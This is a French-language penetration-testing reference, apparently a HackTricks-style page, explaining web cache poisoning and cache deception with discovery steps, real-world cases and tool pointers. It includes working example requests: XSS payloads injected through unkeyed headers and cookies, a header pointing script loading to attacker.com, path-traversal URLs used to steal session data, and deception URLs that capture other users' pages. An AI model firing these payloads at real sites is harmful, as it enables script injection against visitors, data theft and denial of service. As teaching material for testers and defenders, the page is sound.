Poisonnement de Cache et Tromperie de Cache

Reading time: 15 minutes

La différence

Quelle est la différence entre le poisonnement de cache web et la tromperie de cache web ?

• Dans le poisonnement de cache web, l'attaquant amène l'application à stocker un contenu malveillant dans le cache, et ce contenu est servi depuis le cache à d'autres utilisateurs de l'application.
• Dans la tromperie de cache web, l'attaquant amène l'application à stocker un contenu sensible appartenant à un autre utilisateur dans le cache, et l'attaquant récupère ensuite ce contenu depuis le cache.

Poisonnement de Cache

Le poisonnement de cache vise à manipuler le cache côté client pour forcer les clients à charger des ressources qui sont inattendues, partielles ou sous le contrôle d'un attaquant. L'ampleur de l'impact dépend de la popularité de la page affectée, car la réponse contaminée est servie exclusivement aux utilisateurs visitant la page pendant la période de contamination du cache.

L'exécution d'une attaque de poisonnement de cache implique plusieurs étapes :

1. Identification des Entrées Non Clés : Ce sont des paramètres qui, bien qu'ils ne soient pas nécessaires pour qu'une requête soit mise en cache, peuvent modifier la réponse renvoyée par le serveur. Identifier ces entrées est crucial car elles peuvent être exploitées pour manipuler le cache.
2. Exploitation des Entrées Non Clés : Après avoir identifié les entrées non clés, l'étape suivante consiste à déterminer comment abuser de ces paramètres pour modifier la réponse du serveur d'une manière qui profite à l'attaquant.
3. Assurer que la Réponse Contaminée est Mise en Cache : La dernière étape consiste à s'assurer que la réponse manipulée est stockée dans le cache. De cette façon, tout utilisateur accédant à la page affectée pendant que le cache est contaminé recevra la réponse contaminée.

Découverte : Vérifiez les en-têtes HTTP

En général, lorsqu'une réponse a été stockée dans le cache, il y aura un en-tête l'indiquant, vous pouvez vérifier quels en-têtes vous devriez surveiller dans cet article : En-têtes de Cache HTTP.

Découverte : Codes d'erreur de mise en cache

Si vous pensez que la réponse est stockée dans un cache, vous pourriez essayer d'envoyer des requêtes avec un mauvais en-tête, qui devraient être répondues avec un code d'état 400. Ensuite, essayez d'accéder à la requête normalement et si la réponse est un code d'état 400, vous savez qu'elle est vulnérable (et vous pourriez même effectuer un DoS).

Vous pouvez trouver plus d'options dans :

Cache Poisoning to DoS

Cependant, notez que parfois ces types de codes d'état ne sont pas mis en cache, donc ce test pourrait ne pas être fiable.

Découverte : Identifier et évaluer les entrées non clés

Vous pourriez utiliser Param Miner pour forcer des paramètres et des en-têtes qui peuvent modifier la réponse de la page. Par exemple, une page peut utiliser l'en-tête X-Forwarded-For pour indiquer au client de charger le script à partir de là :

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Éliciter une réponse nuisible du serveur back-end

Avec le paramètre/en-tête identifié, vérifiez comment il est sanitisé et où il est réfléchi ou affecte la réponse de l'en-tête. Pouvez-vous en abuser de quelque manière que ce soit (effectuer un XSS ou charger un code JS contrôlé par vous ? effectuer un DoS ?...)

Obtenir la réponse mise en cache

Une fois que vous avez identifié la page qui peut être abusée, quel paramètre/en-tête utiliser et comment en abuser, vous devez faire mettre en cache la page. Selon la ressource que vous essayez de mettre en cache, cela peut prendre un certain temps, vous devrez peut-être essayer pendant plusieurs secondes.

L'en-tête X-Cache dans la réponse pourrait être très utile car il peut avoir la valeur miss lorsque la requête n'est pas mise en cache et la valeur hit lorsqu'elle est mise en cache.
L'en-tête Cache-Control est également intéressant pour savoir si une ressource est mise en cache et quand la ressource sera mise en cache à nouveau : Cache-Control: public, max-age=1800

Un autre en-tête intéressant est Vary. Cet en-tête est souvent utilisé pour indiquer des en-têtes supplémentaires qui sont traités comme partie de la clé de cache même s'ils ne sont normalement pas clés. Par conséquent, si l'utilisateur connaît le User-Agent de la victime qu'il cible, il peut empoisonner le cache pour les utilisateurs utilisant ce User-Agent spécifique.

Un en-tête supplémentaire lié au cache est Age. Il définit le temps en secondes que l'objet a passé dans le cache proxy.

Lors de la mise en cache d'une requête, soyez prudent avec les en-têtes que vous utilisez car certains d'entre eux pourraient être utilisés de manière inattendue comme clés et la victime devra utiliser ce même en-tête. Testez toujours un empoisonnement de cache avec différents navigateurs pour vérifier si cela fonctionne.

Exemples d'exploitation

Exemple le plus simple

Un en-tête comme X-Forwarded-For est réfléchi dans la réponse sans être sanitisé.
Vous pouvez envoyer une charge utile XSS basique et empoisonner le cache afin que tout le monde qui accède à la page soit XSSé :

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Notez que cela empoisonnera une requête à /en?region=uk et non à /en

Empoisonnement de cache pour DoS

Cache Poisoning to DoS

Utiliser l'empoisonnement de cache web pour exploiter les vulnérabilités de gestion des cookies

Les cookies pourraient également être reflétés dans la réponse d'une page. Si vous pouvez en abuser pour provoquer un XSS par exemple, vous pourriez être en mesure d'exploiter le XSS dans plusieurs clients qui chargent la réponse de cache malveillante.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Notez que si le cookie vulnérable est très utilisé par les utilisateurs, les requêtes régulières nettoieront le cache.

Génération de divergences avec des délimiteurs, normalisation et points

Vérifiez :

Cache Poisoning via URL discrepancies

Poisoning du cache avec traversée de chemin pour voler une clé API

Cette rédaction explique comment il a été possible de voler une clé API OpenAI avec une URL comme https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 parce que tout ce qui correspond à /share/* sera mis en cache sans que Cloudflare ne normalise l'URL, ce qui a été fait lorsque la requête a atteint le serveur web.

Cela est également mieux expliqué dans :

Cache Poisoning via URL discrepancies

Utilisation de plusieurs en-têtes pour exploiter les vulnérabilités de poisoning du cache web

Parfois, vous devrez exploiter plusieurs entrées non clés pour pouvoir abuser d'un cache. Par exemple, vous pouvez trouver un Open redirect si vous définissez X-Forwarded-Host sur un domaine contrôlé par vous et X-Forwarded-Scheme sur http. Si le serveur transmet toutes les requêtes HTTP vers HTTPS et utilise l'en-tête X-Forwarded-Scheme comme nom de domaine pour la redirection. Vous pouvez contrôler où la page est pointée par la redirection.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Exploitation avec un en-tête Vary limité

Si vous avez découvert que l'en-tête X-Host est utilisé comme nom de domaine pour charger une ressource JS mais que l'en-tête Vary dans la réponse indique User-Agent. Alors, vous devez trouver un moyen d'exfiltrer le User-Agent de la victime et de polluer le cache en utilisant cet agent utilisateur :

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Envoyez une requête GET avec la requête dans l'URL et dans le corps. Si le serveur web utilise celle du corps mais que le serveur de cache met en cache celle de l'URL, quiconque accédant à cette URL utilisera en réalité le paramètre du corps. Comme la vulnérabilité trouvée par James Kettle sur le site de Github :

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

Il y a un laboratoire Portswigger à ce sujet : https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Cloaking de Paramètres

Par exemple, il est possible de séparer les paramètres dans les serveurs ruby en utilisant le caractère ; au lieu de &. Cela pourrait être utilisé pour insérer des valeurs de paramètres non clés à l'intérieur de ceux qui sont clés et en abuser.

Laboratoire Portswigger : https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiter le Poisoning de Cache HTTP en abusant du Smuggling de Requêtes HTTP

Apprenez ici comment effectuer des attaques de Poisoning de Cache en abusant du Smuggling de Requêtes HTTP.

Tests Automatisés pour le Poisoning de Cache Web

Le Web Cache Vulnerability Scanner peut être utilisé pour tester automatiquement le poisoning de cache web. Il prend en charge de nombreuses techniques différentes et est hautement personnalisable.

Exemple d'utilisation : wcvs -u example.com

Exemples Vulnérables

Apache Traffic Server (CVE-2021-27577)

ATS a transmis le fragment à l'intérieur de l'URL sans le supprimer et a généré la clé de cache en utilisant uniquement l'hôte, le chemin et la requête (ignorant le fragment). Ainsi, la requête /#/../?r=javascript:alert(1) a été envoyée au backend sous la forme /#/../?r=javascript:alert(1) et la clé de cache ne contenait pas la charge utile, seulement l'hôte, le chemin et la requête.

GitHub CP-DoS

L'envoi d'une mauvaise valeur dans l'en-tête content-type a déclenché une réponse 405 mise en cache. La clé de cache contenait le cookie, il était donc possible d'attaquer uniquement les utilisateurs non authentifiés.

GitLab + GCP CP-DoS

GitLab utilise des buckets GCP pour stocker du contenu statique. Les Buckets GCP prennent en charge l'en-tête x-http-method-override. Il était donc possible d'envoyer l'en-tête x-http-method-override: HEAD et de empoisonner le cache pour renvoyer un corps de réponse vide. Cela pouvait également prendre en charge la méthode PURGE.

Middleware Rack (Ruby on Rails)

Dans les applications Ruby on Rails, le middleware Rack est souvent utilisé. Le but du code Rack est de prendre la valeur de l'en-tête x-forwarded-scheme et de la définir comme le schéma de la requête. Lorsque l'en-tête x-forwarded-scheme: http est envoyé, une redirection 301 vers le même emplacement se produit, ce qui peut potentiellement causer un déni de service (DoS) à cette ressource. De plus, l'application pourrait reconnaître l'en-tête X-forwarded-host et rediriger les utilisateurs vers l'hôte spécifié. Ce comportement peut entraîner le chargement de fichiers JavaScript depuis le serveur d'un attaquant, posant un risque de sécurité.

403 et Buckets de Stockage

Cloudflare a précédemment mis en cache les réponses 403. Tenter d'accéder à S3 ou aux Blobs de Stockage Azure avec des en-têtes d'autorisation incorrects entraînerait une réponse 403 qui était mise en cache. Bien que Cloudflare ait cessé de mettre en cache les réponses 403, ce comportement pourrait encore être présent dans d'autres services proxy.

Injection de Paramètres Clés

Les caches incluent souvent des paramètres GET spécifiques dans la clé de cache. Par exemple, le Varnish de Fastly a mis en cache le paramètre size dans les requêtes. Cependant, si une version encodée de l'URL du paramètre (par exemple, siz%65) était également envoyée avec une valeur erronée, la clé de cache serait construite en utilisant le bon paramètre size. Pourtant, le backend traiterait la valeur dans le paramètre encodé. L'encodage URL du deuxième paramètre size a conduit à son omission par le cache mais à son utilisation par le backend. L'attribution d'une valeur de 0 à ce paramètre a entraîné une erreur 400 Bad Request mise en cache.

Règles de User Agent

Certains développeurs bloquent les requêtes avec des user-agents correspondant à ceux d'outils à fort trafic comme FFUF ou Nuclei pour gérer la charge du serveur. Ironiquement, cette approche peut introduire des vulnérabilités telles que le poisoning de cache et le DoS.

Champs d'En-tête Illégaux

Le RFC7230 spécifie les caractères acceptables dans les noms d'en-tête. Les en-têtes contenant des caractères en dehors de la plage tchar spécifiée devraient idéalement déclencher une réponse 400 Bad Request. En pratique, les serveurs ne respectent pas toujours cette norme. Un exemple notable est Akamai, qui transmet des en-têtes avec des caractères invalides et met en cache toute erreur 400, tant que l'en-tête cache-control n'est pas présent. Un modèle exploitable a été identifié où l'envoi d'un en-tête avec un caractère illégal, tel que \, entraînerait une erreur 400 Bad Request mise en cache.

Trouver de Nouveaux En-têtes

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

L'objectif de la Cache Deception est de faire en sorte que les clients chargent des ressources qui vont être enregistrées par le cache avec leurs informations sensibles.

Tout d'abord, notez que les extensions telles que .css, .js, .png, etc. sont généralement configurées pour être enregistrées dans le cache. Par conséquent, si vous accédez à www.example.com/profile.php/nonexistent.js, le cache stockera probablement la réponse car il voit l'extension .js. Mais, si l'application répond avec les contenus sensibles de l'utilisateur stockés dans www.example.com/profile.php, vous pouvez voler ces contenus d'autres utilisateurs.

D'autres choses à tester :

• www.example.com/profile.php/.js
• www.example.com/profile.php/.css
• www.example.com/profile.php/test.js
• www.example.com/profile.php/../test.js
• www.example.com/profile.php/%2e%2e/test.js
• Utilisez des extensions moins connues telles que .avif

Un autre exemple très clair peut être trouvé dans cet article : https://hackerone.com/reports/593712.
Dans l'exemple, il est expliqué que si vous chargez une page inexistante comme http://www.example.com/home.php/non-existent.css, le contenu de http://www.example.com/home.php (avec les informations sensibles de l'utilisateur) sera renvoyé et le serveur de cache enregistrera le résultat.
Ensuite, l'attaquant peut accéder à http://www.example.com/home.php/non-existent.css dans son propre navigateur et observer les informations confidentielles des utilisateurs qui ont accédé auparavant.

Notez que le proxy de cache doit être configuré pour mettre en cache les fichiers en fonction de l'extension du fichier (.css) et non en fonction du type de contenu. Dans l'exemple http://www.example.com/home.php/non-existent.css aura un type de contenu text/html au lieu d'un type MIME text/css (qui est celui attendu pour un fichier .css).

Apprenez ici comment effectuer des attaques de Cache Deceptions en abusant du Smuggling de Requêtes HTTP.

Outils Automatiques

• toxicache : Scanner Golang pour trouver des vulnérabilités de poisoning de cache web dans une liste d'URLs et tester plusieurs techniques d'injection.

Références

• https://portswigger.net/web-security/web-cache-poisoning
• https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
• https://hackerone.com/reports/593712
• https://youst.in/posts/cache-poisoning-at-scale/
• https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
• https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/